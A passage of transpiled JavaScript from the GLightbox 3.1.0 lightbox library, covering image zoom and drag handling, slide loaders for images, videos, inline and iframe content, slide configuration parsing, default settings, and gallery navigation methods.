= false; _this2.img.isDragging = false; _this2.img.classList.remove('dragging'); }, 100); } }, { key: "drag", value: function drag(e) { if (this.active) { e.preventDefault(); if (e.type === 'touchmove') { this.currentX = e.touches[0].clientX - this.initialX; this.currentY = e.touches[0].clientY - this.initialY; } else { this.currentX = e.clientX - this.initialX; this.currentY = e.clientY - this.initialY; } this.xOffset = this.currentX; this.yOffset = this.currentY; this.img.isDragging = true; this.dragging = true; this.setTranslate(this.img, this.currentX, this.currentY); } } }, { key: "onMove", value: function onMove(e) { if (!this.zoomedIn) { return; } var xOffset = e.clientX - this.img.naturalWidth / 2; var yOffset = e.clientY - this.img.naturalHeight / 2; this.setTranslate(this.img, xOffset, yOffset); } }, { key: "setTranslate", value: function setTranslate(node, xPos, yPos) { node.style.transform = 'translate3d(' + xPos + 'px, ' + yPos + 'px, 0)'; } }, { key: "widowWidth", value: function widowWidth() { return window.innerWidth || document.documentElement.clientWidth || document.body.clientWidth; } }]); return ZoomImages; }(); var DragSlides = function () { function DragSlides() { var _this = this; var config = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; _classCallCheck(this, DragSlides); var dragEl = config.dragEl, _config$toleranceX = config.toleranceX, toleranceX = _config$toleranceX === void 0 ? 40 : _config$toleranceX, _config$toleranceY = config.toleranceY, toleranceY = _config$toleranceY === void 0 ? 65 : _config$toleranceY, _config$slide = config.slide, slide = _config$slide === void 0 ? null : _config$slide, _config$instance = config.instance, instance = _config$instance === void 0 ? null : _config$instance; this.el = dragEl; this.active = false; this.dragging = false; this.currentX = null; this.currentY = null; this.initialX = null; this.initialY = null; this.xOffset = 0; this.yOffset = 0; this.direction = null; this.lastDirection = null; this.toleranceX = toleranceX; this.toleranceY = toleranceY; this.toleranceReached = false; this.dragContainer = this.el; this.slide = slide; this.instance = instance; this.el.addEventListener('mousedown', function (e) { return _this.dragStart(e); }, false); this.el.addEventListener('mouseup', function (e) { return _this.dragEnd(e); }, false); this.el.addEventListener('mousemove', function (e) { return _this.drag(e); }, false); } _createClass(DragSlides, [{ key: "dragStart", value: function dragStart(e) { if (this.slide.classList.contains('zoomed')) { this.active = false; return; } if (e.type === 'touchstart') { this.initialX = e.touches[0].clientX - this.xOffset; this.initialY = e.touches[0].clientY - this.yOffset; } else { this.initialX = e.clientX - this.xOffset; this.initialY = e.clientY - this.yOffset; } var clicked = e.target.nodeName.toLowerCase(); var exludeClicks = ['input', 'select', 'textarea', 'button', 'a']; if (e.target.classList.contains('nodrag') || closest(e.target, '.nodrag') || exludeClicks.indexOf(clicked) !== -1) { this.active = false; return; } e.preventDefault(); if (e.target === this.el || clicked !== 'img' && closest(e.target, '.gslide-inline')) { this.active = true; this.el.classList.add('dragging'); this.dragContainer = closest(e.target, '.ginner-container'); } } }, { key: "dragEnd", value: function dragEnd(e) { var _this2 = this; e && e.preventDefault(); this.initialX = 0; this.initialY = 0; this.currentX = null; this.currentY = null; this.initialX = null; this.initialY = null; this.xOffset = 0; this.yOffset = 0; this.active = false; if (this.doSlideChange) { this.instance.preventOutsideClick = true; this.doSlideChange == 'right' && this.instance.prevSlide(); this.doSlideChange == 'left' && this.instance.nextSlide(); } if (this.doSlideClose) { this.instance.close(); } if (!this.toleranceReached) { this.setTranslate(this.dragContainer, 0, 0, true); } setTimeout(function () { _this2.instance.preventOutsideClick = false; _this2.toleranceReached = false; _this2.lastDirection = null; _this2.dragging = false; _this2.el.isDragging = false; _this2.el.classList.remove('dragging'); _this2.slide.classList.remove('dragging-nav'); _this2.dragContainer.style.transform = ''; _this2.dragContainer.style.transition = ''; }, 100); } }, { key: "drag", value: function drag(e) { if (this.active) { e.preventDefault(); this.slide.classList.add('dragging-nav'); if (e.type === 'touchmove') { this.currentX = e.touches[0].clientX - this.initialX; this.currentY = e.touches[0].clientY - this.initialY; } else { this.currentX = e.clientX - this.initialX; this.currentY = e.clientY - this.initialY; } this.xOffset = this.currentX; this.yOffset = this.currentY; this.el.isDragging = true; this.dragging = true; this.doSlideChange = false; this.doSlideClose = false; var currentXInt = Math.abs(this.currentX); var currentYInt = Math.abs(this.currentY); if (currentXInt > 0 && currentXInt >= Math.abs(this.currentY) && (!this.lastDirection || this.lastDirection == 'x')) { this.yOffset = 0; this.lastDirection = 'x'; this.setTranslate(this.dragContainer, this.currentX, 0); var doChange = this.shouldChange(); if (!this.instance.settings.dragAutoSnap && doChange) { this.doSlideChange = doChange; } if (this.instance.settings.dragAutoSnap && doChange) { this.instance.preventOutsideClick = true; this.toleranceReached = true; this.active = false; this.instance.preventOutsideClick = true; this.dragEnd(null); doChange == 'right' && this.instance.prevSlide(); doChange == 'left' && this.instance.nextSlide(); return; } } if (this.toleranceY > 0 && currentYInt > 0 && currentYInt >= currentXInt && (!this.lastDirection || this.lastDirection == 'y')) { this.xOffset = 0; this.lastDirection = 'y'; this.setTranslate(this.dragContainer, 0, this.currentY); var doClose = this.shouldClose(); if (!this.instance.settings.dragAutoSnap && doClose) { this.doSlideClose = true; } if (this.instance.settings.dragAutoSnap && doClose) { this.instance.close(); } return; } } } }, { key: "shouldChange", value: function shouldChange() { var doChange = false; var currentXInt = Math.abs(this.currentX); if (currentXInt >= this.toleranceX) { var dragDir = this.currentX > 0 ? 'right' : 'left'; if (dragDir == 'left' && this.slide !== this.slide.parentNode.lastChild || dragDir == 'right' && this.slide !== this.slide.parentNode.firstChild) { doChange = dragDir; } } return doChange; } }, { key: "shouldClose", value: function shouldClose() { var doClose = false; var currentYInt = Math.abs(this.currentY); if (currentYInt >= this.toleranceY) { doClose = true; } return doClose; } }, { key: "setTranslate", value: function setTranslate(node, xPos, yPos) { var animated = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : false; if (animated) { node.style.transition = 'all .2s ease'; } else { node.style.transition = ''; } node.style.transform = "translate3d(".concat(xPos, "px, ").concat(yPos, "px, 0)"); } }]); return DragSlides; }(); function slideImage(slide, data, index, callback) { var slideMedia = slide.querySelector('.gslide-media'); var img = new Image(); var titleID = 'gSlideTitle_' + index; var textID = 'gSlideDesc_' + index; img.addEventListener('load', function () { if (isFunction(callback)) { callback(); } }, false); img.src = data.href; if (data.sizes != '' && data.srcset != '') { img.sizes = data.sizes; img.srcset = data.srcset; } img.alt = ''; if (!isNil(data.alt) && data.alt !== '') { img.alt = data.alt; } if (data.title !== '') { img.setAttribute('aria-labelledby', titleID); } if (data.description !== '') { img.setAttribute('aria-describedby', textID); } if (data.hasOwnProperty('_hasCustomWidth') && data._hasCustomWidth) { img.style.width = data.width; } if (data.hasOwnProperty('_hasCustomHeight') && data._hasCustomHeight) { img.style.height = data.height; } slideMedia.insertBefore(img, slideMedia.firstChild); return; } function slideVideo(slide, data, index, callback) { var _this = this; var slideContainer = slide.querySelector('.ginner-container'); var videoID = 'gvideo' + index; var slideMedia = slide.querySelector('.gslide-media'); var videoPlayers = this.getAllPlayers(); addClass(slideContainer, 'gvideo-container'); slideMedia.insertBefore(createHTML('<div class="gvideo-wrapper"></div>'), slideMedia.firstChild); var videoWrapper = slide.querySelector('.gvideo-wrapper'); injectAssets(this.settings.plyr.css, 'Plyr'); var url = data.href; var provider = data === null || data === void 0 ? void 0 : data.videoProvider; var customPlaceholder = false; slideMedia.style.maxWidth = data.width; injectAssets(this.settings.plyr.js, 'Plyr', function () { if (!provider && url.match(/vimeo\.com\/([0-9]*)/)) { provider = 'vimeo'; } if (!provider && (url.match(/(youtube\.com|youtube-nocookie\.com)\/watch\?v=([a-zA-Z0-9\-_]+)/) || url.match(/youtu\.be\/([a-zA-Z0-9\-_]+)/) || url.match(/(youtube\.com|youtube-nocookie\.com)\/embed\/([a-zA-Z0-9\-_]+)/))) { provider = 'youtube'; } if (provider === 'local' || !provider) { provider = 'local'; var html = '<video id="' + videoID + '" '; html += "style=\"background:#000; max-width: ".concat(data.width, ";\" "); html += 'preload="metadata" '; html += 'x-webkit-airplay="allow" '; html += 'playsinline '; html += 'controls '; html += 'class="gvideo-local">'; html += "<source src=\"".concat(url, "\">"); html += '</video>'; customPlaceholder = createHTML(html); } var placeholder = customPlaceholder ? customPlaceholder : createHTML("<div id=\"".concat(videoID, "\" data-plyr-provider=\"").concat(provider, "\" data-plyr-embed-id=\"").concat(url, "\"></div>")); addClass(videoWrapper, "".concat(provider, "-video gvideo")); videoWrapper.appendChild(placeholder); videoWrapper.setAttribute('data-id', videoID); videoWrapper.setAttribute('data-index', index); var playerConfig = has(_this.settings.plyr, 'config') ? _this.settings.plyr.config : {}; var player = new Plyr('#' + videoID, playerConfig); player.on('ready', function (event) { videoPlayers[videoID] = event.detail.plyr; if (isFunction(callback)) { callback(); } }); waitUntil(function () { return slide.querySelector('iframe') && slide.querySelector('iframe').dataset.ready == 'true'; }, function () { _this.resize(slide); }); player.on('enterfullscreen', handleMediaFullScreen); player.on('exitfullscreen', handleMediaFullScreen); }); } function handleMediaFullScreen(event) { var media = closest(event.target, '.gslide-media'); if (event.type === 'enterfullscreen') { addClass(media, 'fullscreen'); } if (event.type === 'exitfullscreen') { removeClass(media, 'fullscreen'); } } function slideInline(slide, data, index, callback) { var _this = this; var slideMedia = slide.querySelector('.gslide-media'); var hash = has(data, 'href') && data.href ? data.href.split('#').pop().trim() : false; var content = has(data, 'content') && data.content ? data.content : false; var innerContent; if (content) { if (isString(content)) { innerContent = createHTML("<div class=\"ginlined-content\">".concat(content, "</div>")); } if (isNode(content)) { if (content.style.display == 'none') { content.style.display = 'block'; } var container = document.createElement('div'); container.className = 'ginlined-content'; container.appendChild(content); innerContent = container; } } if (hash) { var div = document.getElementById(hash); if (!div) { return false; } var cloned = div.cloneNode(true); cloned.style.height = data.height; cloned.style.maxWidth = data.width; addClass(cloned, 'ginlined-content'); innerContent = cloned; } if (!innerContent) { console.error('Unable to append inline slide content', data); return false; } slideMedia.style.height = data.height; slideMedia.style.width = data.width; slideMedia.appendChild(innerContent); this.events['inlineclose' + hash] = addEvent('click', { onElement: slideMedia.querySelectorAll('.gtrigger-close'), withCallback: function withCallback(e) { e.preventDefault(); _this.close(); } }); if (isFunction(callback)) { callback(); } return; } function slideIframe(slide, data, index, callback) { var slideMedia = slide.querySelector('.gslide-media'); var iframe = createIframe({ url: data.href, callback: callback }); slideMedia.parentNode.style.maxWidth = data.width; slideMedia.parentNode.style.height = data.height; slideMedia.appendChild(iframe); return; } var SlideConfigParser = function () { function SlideConfigParser() { var slideParamas = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; _classCallCheck(this, SlideConfigParser); this.defaults = { href: '', sizes: '', srcset: '', title: '', type: '', videoProvider: '', description: '', alt: '', descPosition: 'bottom', effect: '', width: '', height: '', content: false, zoomable: true, draggable: true }; if (isObject(slideParamas)) { this.defaults = extend(this.defaults, slideParamas); } } _createClass(SlideConfigParser, [{ key: "sourceType", value: function sourceType(url) { var origin = url; url = url.toLowerCase(); if (url.match(/\.(jpeg|jpg|jpe|gif|png|apn|webp|avif|svg)/) !== null) { return 'image'; } if (url.match(/(youtube\.com|youtube-nocookie\.com)\/watch\?v=([a-zA-Z0-9\-_]+)/) || url.match(/youtu\.be\/([a-zA-Z0-9\-_]+)/) || url.match(/(youtube\.com|youtube-nocookie\.com)\/embed\/([a-zA-Z0-9\-_]+)/)) { return 'video'; } if (url.match(/vimeo\.com\/([0-9]*)/)) { return 'video'; } if (url.match(/\.(mp4|ogg|webm|mov)/) !== null) { return 'video'; } if (url.match(/\.(mp3|wav|wma|aac|ogg)/) !== null) { return 'audio'; } if (url.indexOf('#') > -1) { var hash = origin.split('#').pop(); if (hash.trim() !== '') { return 'inline'; } } if (url.indexOf('goajax=true') > -1) { return 'ajax'; } return 'external'; } }, { key: "parseConfig", value: function parseConfig(element, settings) { var _this = this; var data = extend({ descPosition: settings.descPosition }, this.defaults); if (isObject(element) && !isNode(element)) { if (!has(element, 'type')) { if (has(element, 'content') && element.content) { element.type = 'inline'; } else if (has(element, 'href')) { element.type = this.sourceType(element.href); } } var objectData = extend(data, element); this.setSize(objectData, settings); return objectData; } var url = ''; var config = element.getAttribute('data-glightbox'); var nodeType = element.nodeName.toLowerCase(); if (nodeType === 'a') { url = element.href; } if (nodeType === 'img') { url = element.src; data.alt = element.alt; } data.href = url; each(data, function (val, key) { if (has(settings, key) && key !== 'width') { data[key] = settings[key]; } var nodeData = element.dataset[key]; if (!isNil(nodeData)) { data[key] = _this.sanitizeValue(nodeData); } }); if (data.content) { data.type = 'inline'; } if (!data.type && url) { data.type = this.sourceType(url); } if (!isNil(config)) { var cleanKeys = []; each(data, function (v, k) { cleanKeys.push(';\\s?' + k); }); cleanKeys = cleanKeys.join('\\s?:|'); if (config.trim() !== '') { each(data, function (val, key) { var str = config; var match = 's?' + key + 's?:s?(.*?)(' + cleanKeys + 's?:|$)'; var regex = new RegExp(match); var matches = str.match(regex); if (matches && matches.length && matches[1]) { var value = matches[1].trim().replace(/;\s*$/, ''); data[key] = _this.sanitizeValue(value); } }); } } else { if (!data.title && nodeType == 'a') { var title = element.title; if (!isNil(title) && title !== '') { data.title = title; } } if (!data.title && nodeType == 'img') { var alt = element.alt; if (!isNil(alt) && alt !== '') { data.title = alt; } } } if (data.description && data.description.substring(0, 1) === '.') { var description; try { description = document.querySelector(data.description).innerHTML; } catch (error) { if (!(error instanceof DOMException)) { throw error; } } if (description) { data.description = description; } } if (!data.description) { var nodeDesc = element.querySelector('.glightbox-desc'); if (nodeDesc) { data.description = nodeDesc.innerHTML; } } this.setSize(data, settings, element); this.slideConfig = data; return data; } }, { key: "setSize", value: function setSize(data, settings) { var element = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : null; var defaultWith = data.type == 'video' ? this.checkSize(settings.videosWidth) : this.checkSize(settings.width); var defaultHeight = this.checkSize(settings.height); data.width = has(data, 'width') && data.width !== '' ? this.checkSize(data.width) : defaultWith; data.height = has(data, 'height') && data.height !== '' ? this.checkSize(data.height) : defaultHeight; if (element && data.type == 'image') { data._hasCustomWidth = element.dataset.width ? true : false; data._hasCustomHeight = element.dataset.height ? true : false; } return data; } }, { key: "checkSize", value: function checkSize(size) { return isNumber(size) ? "".concat(size, "px") : size; } }, { key: "sanitizeValue", value: function sanitizeValue(val) { if (val !== 'true' && val !== 'false') { return val; } return val === 'true'; } }]); return SlideConfigParser; }(); var Slide = function () { function Slide(el, instance, index) { _classCallCheck(this, Slide); this.element = el; this.instance = instance; this.index = index; } _createClass(Slide, [{ key: "setContent", value: function setContent() { var _this = this; var slide = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; if (hasClass(slide, 'loaded')) { return false; } var settings = this.instance.settings; var slideConfig = this.slideConfig; var isMobileDevice = isMobile(); if (isFunction(settings.beforeSlideLoad)) { settings.beforeSlideLoad({ index: this.index, slide: slide, player: false }); } var type = slideConfig.type; var position = slideConfig.descPosition; var slideMedia = slide.querySelector('.gslide-media'); var slideTitle = slide.querySelector('.gslide-title'); var slideText = slide.querySelector('.gslide-desc'); var slideDesc = slide.querySelector('.gdesc-inner'); var finalCallback = callback; var titleID = 'gSlideTitle_' + this.index; var textID = 'gSlideDesc_' + this.index; if (isFunction(settings.afterSlideLoad)) { finalCallback = function finalCallback() { if (isFunction(callback)) { callback(); } settings.afterSlideLoad({ index: _this.index, slide: slide, player: _this.instance.getSlidePlayerInstance(_this.index) }); }; } if (slideConfig.title == '' && slideConfig.description == '') { if (slideDesc) { slideDesc.parentNode.parentNode.removeChild(slideDesc.parentNode); } } else { if (slideTitle && slideConfig.title !== '') { slideTitle.id = titleID; slideTitle.innerHTML = slideConfig.title; } else { slideTitle.parentNode.removeChild(slideTitle); } if (slideText && slideConfig.description !== '') { slideText.id = textID; if (isMobileDevice && settings.moreLength > 0) { slideConfig.smallDescription = this.slideShortDesc(slideConfig.description, settings.moreLength, settings.moreText); slideText.innerHTML = slideConfig.smallDescription; this.descriptionEvents(slideText, slideConfig); } else { slideText.innerHTML = slideConfig.description; } } else { slideText.parentNode.removeChild(slideText); } addClass(slideMedia.parentNode, "desc-".concat(position)); addClass(slideDesc.parentNode, "description-".concat(position)); } addClass(slideMedia, "gslide-".concat(type)); addClass(slide, 'loaded'); if (type === 'video') { slideVideo.apply(this.instance, [slide, slideConfig, this.index, finalCallback]); return; } if (type === 'external') { slideIframe.apply(this, [slide, slideConfig, this.index, finalCallback]); return; } if (type === 'inline') { slideInline.apply(this.instance, [slide, slideConfig, this.index, finalCallback]); if (slideConfig.draggable) { new DragSlides({ dragEl: slide.querySelector('.gslide-inline'), toleranceX: settings.dragToleranceX, toleranceY: settings.dragToleranceY, slide: slide, instance: this.instance }); } return; } if (type === 'image') { slideImage(slide, slideConfig, this.index, function () { var img = slide.querySelector('img'); if (slideConfig.draggable) { new DragSlides({ dragEl: img, toleranceX: settings.dragToleranceX, toleranceY: settings.dragToleranceY, slide: slide, instance: _this.instance }); } if (slideConfig.zoomable && img.naturalWidth > img.offsetWidth) { addClass(img, 'zoomable'); new ZoomImages(img, slide, function () { _this.instance.resize(); }); } if (isFunction(finalCallback)) { finalCallback(); } }); return; } if (isFunction(finalCallback)) { finalCallback(); } } }, { key: "slideShortDesc", value: function slideShortDesc(string) { var n = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 50; var wordBoundary = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var div = document.createElement('div'); div.innerHTML = string; var cleanedString = div.innerText; var useWordBoundary = wordBoundary; string = cleanedString.trim(); if (string.length <= n) { return string; } var subString = string.substr(0, n - 1); if (!useWordBoundary) { return subString; } div = null; return subString + '... <a href="#" class="desc-more">' + wordBoundary + '</a>'; } }, { key: "descriptionEvents", value: function descriptionEvents(desc, data) { var _this2 = this; var moreLink = desc.querySelector('.desc-more'); if (!moreLink) { return false; } addEvent('click', { onElement: moreLink, withCallback: function withCallback(event, target) { event.preventDefault(); var body = document.body; var desc = closest(target, '.gslide-desc'); if (!desc) { return false; } desc.innerHTML = data.description; addClass(body, 'gdesc-open'); var shortEvent = addEvent('click', { onElement: [body, closest(desc, '.gslide-description')], withCallback: function withCallback(event, target) { if (event.target.nodeName.toLowerCase() !== 'a') { removeClass(body, 'gdesc-open'); addClass(body, 'gdesc-closed'); desc.innerHTML = data.smallDescription; _this2.descriptionEvents(desc, data); setTimeout(function () { removeClass(body, 'gdesc-closed'); }, 400); shortEvent.destroy(); } } }); } }); } }, { key: "create", value: function create() { return createHTML(this.instance.settings.slideHTML); } }, { key: "getConfig", value: function getConfig() { if (!isNode(this.element) && !this.element.hasOwnProperty('draggable')) { this.element.draggable = this.instance.settings.draggable; } var parser = new SlideConfigParser(this.instance.settings.slideExtraAttributes); this.slideConfig = parser.parseConfig(this.element, this.instance.settings); return this.slideConfig; } }]); return Slide; }(); var _version = '3.1.0'; var isMobile$1 = isMobile(); var isTouch$1 = isTouch(); var html = document.getElementsByTagName('html')[0]; var defaults = { selector: '.glightbox', elements: null, skin: 'clean', theme: 'clean', closeButton: true, startAt: null, autoplayVideos: true, autofocusVideos: true, descPosition: 'bottom', width: '900px', height: '506px', videosWidth: '960px', beforeSlideChange: null, afterSlideChange: null, beforeSlideLoad: null, afterSlideLoad: null, slideInserted: null, slideRemoved: null, slideExtraAttributes: null, onOpen: null, onClose: null, loop: false, zoomable: true, draggable: true, dragAutoSnap: false, dragToleranceX: 40, dragToleranceY: 65, preload: true, oneSlidePerOpen: false, touchNavigation: true, touchFollowAxis: true, keyboardNavigation: true, closeOnOutsideClick: true, plugins: false, plyr: { css: 'https://cdn.plyr.io/3.6.12/plyr.css', js: 'https://cdn.plyr.io/3.6.12/plyr.js', config: { ratio: '16:9', fullscreen: { enabled: true, iosNative: true }, youtube: { noCookie: true, rel: 0, showinfo: 0, iv_load_policy: 3 }, vimeo: { byline: false, portrait: false, title: false, transparent: false } } }, openEffect: 'zoom', closeEffect: 'zoom', slideEffect: 'slide', moreText: 'See more', moreLength: 60, cssEfects: { fade: { "in": 'fadeIn', out: 'fadeOut' }, zoom: { "in": 'zoomIn', out: 'zoomOut' }, slide: { "in": 'slideInRight', out: 'slideOutLeft' }, slideBack: { "in": 'slideInLeft', out: 'slideOutRight' }, none: { "in": 'none', out: 'none' } }, svg: { close: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 512 512" xml:space="preserve"><g><g><path d="M505.943,6.058c-8.077-8.077-21.172-8.077-29.249,0L6.058,476.693c-8.077,8.077-8.077,21.172,0,29.249C10.096,509.982,15.39,512,20.683,512c5.293,0,10.586-2.019,14.625-6.059L505.943,35.306C514.019,27.23,514.019,14.135,505.943,6.058z"/></g></g><g><g><path d="M505.942,476.694L35.306,6.059c-8.076-8.077-21.172-8.077-29.248,0c-8.077,8.076-8.077,21.171,0,29.248l470.636,470.636c4.038,4.039,9.332,6.058,14.625,6.058c5.293,0,10.587-2.019,14.624-6.057C514.018,497.866,514.018,484.771,505.942,476.694z"/></g></g></svg>', next: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 477.175 477.175" xml:space="preserve"> <g><path d="M360.731,229.075l-225.1-225.1c-5.3-5.3-13.8-5.3-19.1,0s-5.3,13.8,0,19.1l215.5,215.5l-215.5,215.5c-5.3,5.3-5.3,13.8,0,19.1c2.6,2.6,6.1,4,9.5,4c3.4,0,6.9-1.3,9.5-4l225.1-225.1C365.931,242.875,365.931,234.275,360.731,229.075z"/></g></svg>', prev: '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 477.175 477.175" xml:space="preserve"><g><path d="M145.188,238.575l215.5-215.5c5.3-5.3,5.3-13.8,0-19.1s-13.8-5.3-19.1,0l-225.1,225.1c-5.3,5.3-5.3,13.8,0,19.1l225.1,225c2.6,2.6,6.1,4,9.5,4s6.9-1.3,9.5-4c5.3-5.3,5.3-13.8,0-19.1L145.188,238.575z"/></g></svg>' } }; defaults.slideHTML = "<div class=\"gslide\">\n <div class=\"gslide-inner-content\">\n <div class=\"ginner-container\">\n <div class=\"gslide-media\">\n </div>\n <div class=\"gslide-description\">\n <div class=\"gdesc-inner\">\n <h4 class=\"gslide-title\"></h4>\n <div class=\"gslide-desc\"></div>\n </div>\n </div>\n </div>\n </div>\n</div>"; defaults.lightboxHTML = "<div id=\"glightbox-body\" class=\"glightbox-container\" tabindex=\"-1\" role=\"dialog\" aria-hidden=\"false\">\n <div class=\"gloader visible\"></div>\n <div class=\"goverlay\"></div>\n <div class=\"gcontainer\">\n <div id=\"glightbox-slider\" class=\"gslider\"></div>\n <button class=\"gclose gbtn\" aria-label=\"Close\" data-taborder=\"3\">{closeSVG}</button>\n <button class=\"gprev gbtn\" aria-label=\"Previous\" data-taborder=\"2\">{prevSVG}</button>\n <button class=\"gnext gbtn\" aria-label=\"Next\" data-taborder=\"1\">{nextSVG}</button>\n</div>\n</div>"; var GlightboxInit = function () { function GlightboxInit() { var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; _classCallCheck(this, GlightboxInit); this.customOptions = options; this.settings = extend(defaults, options); this.effectsClasses = this.getAnimationClasses(); this.videoPlayers = {}; this.apiEvents = []; this.fullElementsList = false; } _createClass(GlightboxInit, [{ key: "init", value: function init() { var _this = this; var selector = this.getSelector(); if (selector) { this.baseEvents = addEvent('click', { onElement: selector, withCallback: function withCallback(e, target) { e.preventDefault(); _this.open(target); } }); } this.elements = this.getElements(); } }, { key: "open", value: function open() { var element = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : null; var startAt = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null; if (this.elements.length === 0) { return false; } this.activeSlide = null; this.prevActiveSlideIndex = null; this.prevActiveSlide = null; var index = isNumber(startAt) ? startAt : this.settings.startAt; if (isNode(element)) { var gallery = element.getAttribute('data-gallery'); if (gallery) { this.fullElementsList = this.elements; this.elements = this.getGalleryElements(this.elements, gallery); } if (isNil(index)) { index = this.getElementIndex(element); if (index < 0) { index = 0; } } } if (!isNumber(index)) { index = 0; } this.build(); animateElement(this.overlay, this.settings.openEffect === 'none' ? 'none' : this.settings.cssEfects.fade["in"]); var body = document.body; var scrollBar = window.innerWidth - document.documentElement.clientWidth; if (scrollBar > 0) { var styleSheet = document.createElement('style'); styleSheet.type = 'text/css'; styleSheet.className = 'gcss-styles'; styleSheet.innerText = ".gscrollbar-fixer {margin-right: ".concat(scrollBar, "px}"); document.head.appendChild(styleSheet); addClass(body, 'gscrollbar-fixer'); } addClass(body, 'glightbox-open'); addClass(html, 'glightbox-open'); if (isMobile$1) { addClass(document.body, 'glightbox-mobile'); this.settings.slideEffect = 'slide'; } this.showSlide(index, true); if (this.elements.length === 1) { addClass(this.prevButton, 'glightbox-button-hidden'); addClass(this.nextButton, 'glightbox-button-hidden'); } else { removeClass(this.prevButton, 'glightbox-button-hidden'); removeClass(this.nextButton, 'glightbox-button-hidden'); } this.lightboxOpen = true; this.trigger('open'); if (isFunction(this.settings.onOpen)) { this.settings.onOpen(); } if (isTouch$1 && this.settings.touchNavigation) { touchNavigation(this); } if (this.settings.keyboardNavigation) { keyboardNavigation(this); } } }, { key: "openAt", value: function openAt() { var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; this.open(null, index); } }, { key: "showSlide", value: function showSlide() { var _this2 = this; var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; var first = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; show(this.loader); this.index = parseInt(index); var current = this.slidesContainer.querySelector('.current'); if (current) { removeClass(current, 'current'); } this.slideAnimateOut(); var slideNode = this.slidesContainer.querySelectorAll('.gslide')[index]; if (hasClass(slideNode, 'loaded')) { this.slideAnimateIn(slideNode, first); hide(this.loader); } else { show(this.loader); var slide = this.elements[index]; var slideData = { index: this.index, slide: slideNode, slideNode: slideNode, slideConfig: slide.slideConfig, slideIndex: this.index, trigger: slide.node, player: null }; this.trigger('slide_before_load', slideData); slide.instance.setContent(slideNode, function () { hide(_this2.loader); _this2.resize(); _this2.slideAnimateIn(slideNode, first); _this2.trigger('slide_after_load', slideData); }); } this.slideDescription = slideNode.querySelector('.gslide-description'); this.slideDescriptionContained = this.slideDescription && hasClass(this.slideDescription.parentNode, 'gslide-media'); if (this.settings.preload) { this.preloadSlide(index + 1); this.preloadSlide(index - 1); } this.updateNavigationClasses(); this.activeSlide = slideNode; } }, { key: "preloadSlide", value: function preloadSlide(index) { var _this3 = this; if (index < 0 || index > this.elements.length - 1) { return false; } if (isNil(this.elements[index])) { return false; } var slideNode = this.slidesContainer.querySelectorAll('.gslide')[index]; if (hasClass(slideNode, 'loaded')) { return false; } var slide = this.elements[index]; var type = slide.type; var slideData = { index: index, slide: slideNode, slideNode: slideNode, slideConfig: slide.slideConfig, slideIndex: index, trigger: slide.node, player: null }; this.trigger('slide_before_load', slideData); if (type === 'video' || type === 'external') { setTimeout(function () { slide.instance.setContent(slideNode, function () { _this3.trigger('slide_after_load', slideData); }); }, 200); } else { slide.instance.setContent(slideNode, function () { _this3.trigger('slide_after_load', slideData); }); } } }, { key: "prevSlide", value: function prevSlide() { this.goToSlide(this.index - 1); } }, { key: "nextSlide", value: function nextSlide() { this.goToSlide(this.index + 1); } }, { key: "goToSlide", value: function goToSlide() { var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; this.prevActiveSlide = this.activeSlide; this.prevActiveSlideIndex = this.index; if (!this.loop() && (index < 0 || index > this.elements.length - 1)) { return false; } if (index < 0) { index = this.elements.length - 1; } else if (index >= this.elements.length) { index = 0; } this.showSlide(index); } }, { key: "insertSlide", value: function insertSlide() { var config = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; var index = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : -1; if (index < 0) { index = this.elements.length; } var slide = new Slide(config, this, index); var data = slide.getConfig(); var slideInfo = extend({}, data); var newSlide = slide.create(); var totalSlides = this.elements.length - 1; slideInfo.index = index; slideInfo.node = false; slideInfo.instance = slide; slideInfo.slideConfig = data; this.elements.splice(index, 0, slideInfo); var addedSlideNode = null; var addedSlidePlayer = null; if (this.slidesContainer) { if (index > totalSlides) { this.slidesContainer.appendChild(newSlide); } else { var existingSlide = this.slidesContainer.querySelectorAll('.gslide')[index]; this.slidesContainer.insertBefore(newSlide, existingSlide); } if (this.settings.preload && this.index == 0 && index == 0 || this.index - 1 == index || this.index + 1 == index) { this.preloadSlide(index); } if (this.index === 0 && index === 0) { this.index = 1; } this.updateNavigationClasses(); addedSlideNode = this.slidesContainer.querySelectorAll('.gslide')[index]; addedSlidePlayer = this.getSlidePlayerInstance(index); slideInfo.slideNode = addedSlideNode; } this.trigger('slide_inserted', { index: index, slide: addedSlideNode, slideNode: addedSlideNode, slideConfig: data, slideIndex: index, trigger: null, player: addedSlidePlayer }); if (isFunction(this.settings.slideInserted)) { this.settings.slideInserted({ index: index, slide: addedSlideNode, player: addedSlidePlayer }); } } }, { key: "removeSlide", value: function removeSlide() { var index = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : -1; if (index < 0 || index > this.elements.length - 1) { return false; } var slide = this.slidesContainer && this.slidesContainer.querySelectorAll('.gslide')[index]; if (slide) { if (this.getActiveSlideIndex() == index) { if (index == this.elements.length - 1) { this.prevSlide(); } else { this.nextSlide(); } } slide.parentNode.removeChild(slide); } this.elements.splice(index, 1); this.trigger('slide_removed', index); if (isFunction(this.settings.slideRemoved)) { this.settings.slideRemoved(index); } } }, { key: "slideAnimateIn", value: function slideAnimateIn(slide, first) { var _this4 = this; var slideMedia = slide.querySelector('.gslide-media'); 